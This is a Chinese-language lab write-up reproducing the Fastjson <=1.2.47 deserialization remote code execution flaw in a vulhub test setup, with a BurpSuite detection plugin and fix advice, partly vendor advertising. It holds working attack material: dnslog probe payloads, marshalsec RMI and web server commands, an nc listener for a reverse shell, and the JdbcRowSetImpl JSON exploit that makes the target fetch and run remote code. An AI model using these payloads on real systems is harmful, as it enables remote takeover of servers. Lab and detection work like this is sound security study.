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Fastjson<=1.2.47反序列化远程代码执行漏洞复现

Fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串
反序列化到JavaBean。

利用dnslog判断是否使用了fastjson，以下四种方式都可以。

0X01简介

0X02判断是否使用Fast json
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{"name":{"@type":"java.net.Inet4Address","val":"dnslog"}}

{"name":{"@type":"java.net.Inet6Address","val":"dnslog"}}

{"name":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
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4 {"name":{"@type":"java.net.URL","val":"dnslog"}}
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0x02环境安装&复现
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靶机IP：192.168.0.151
攻击机ip：192.168.0.190
漏洞环境&利用工具：

安装成功后的界面
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https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce  

https://github.com/ianxtianxt/fastjson-1.2.47-RCE-1
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打开Exploit.java修改反弹地址
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使用javac编译Exploit.java文件，生成Exploit.class文件
在攻击机上开启RMI和Web服务并开启监听

1

2

3

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.0.190/#Exploit 9999

python3 -m http.server 80 //Exploit.class文件目录下

nc -lvvp 8888
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向靶机发送poc
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{

   "name":{

       "@type":"java.lang.Class",

       "val":"com.sun.rowset.JdbcRowSetImpl"

   },

   "x":{

       "@type":"com.sun.rowset.JdbcRowSetImpl",

       "dataSourceName":"rmi://192.168.0.190:9999/Exploit",

       "autoCommit":true

   }

}
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RMI接受到请求并访问了并把请求Redirect到Web服务，Fastjson将会下载Exploit.class，并解析执行。
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成功反弹shell

0X03burpsuite漏洞检测插件

1 https://github.com/uknowsec/BurpSuite-Extender-fastjson
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修改为自己的ceye和token值:

导入插件
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访问下靶机地址，改为POST请求，将content-Type改为application/json

插件已经自动填充并发送了payload
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dnslog平台成功接收到请求
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插件会自动输出存在漏洞网站

1、建议使用移动云-云甲web应用防护系统已支持拦截防御fastjson反序列化远程代码执行漏洞利用；
2、建议使用北京云科安信PDP可编程防御平台拦截防御fastjson反序列化远程代码执行漏洞利用；
咨询详细技术方案，请致电400-007-0908或发送邮件至contact@antiratech.com.cn；
3、建议升级到官方最新版fastjson,详情链接：
https://github.com/alibaba/fastjson；

0X04修复建议


